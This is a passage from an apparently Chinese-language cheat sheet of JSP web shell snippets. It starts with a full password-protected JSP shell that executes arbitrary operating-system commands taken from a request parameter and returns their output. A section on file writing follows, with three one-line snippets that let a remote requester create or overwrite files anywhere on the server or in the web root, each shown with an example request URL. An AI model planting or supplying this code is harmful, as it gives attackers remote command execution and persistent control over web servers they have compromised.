<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
三、文件写入(改写目标服务器里的文件,若文件不存在则创建)
1 2 3 4 5 6 7 8 9 10 11
1. ISO-8859-1输入: new java.io.FileOutputStream(request.getParameter("file")).write(request.getParameter("content").getBytes()); 请求url:http://127.0.0.1/input.jsp?file=root/test.txt&content=test
2. UTF-8输入: new java.io.FileOutputStream(request.getParameter("file")).write(new String(request.getParameter("content").getBytes("ISO-8859-1"), "UTF-8").getBytes()); 请求url:http://127.0.0.1/input.jsp?file=root/test.txt&content=test
3. Web目录写入; new java.io.FileOutputStream(application.getRealPath("/") + "/" + request.getParameter("filename")).write(request.getParameter("content").getBytes()); 请求url:http://127.0.0.1/input.jsp?file=test.txt&content=test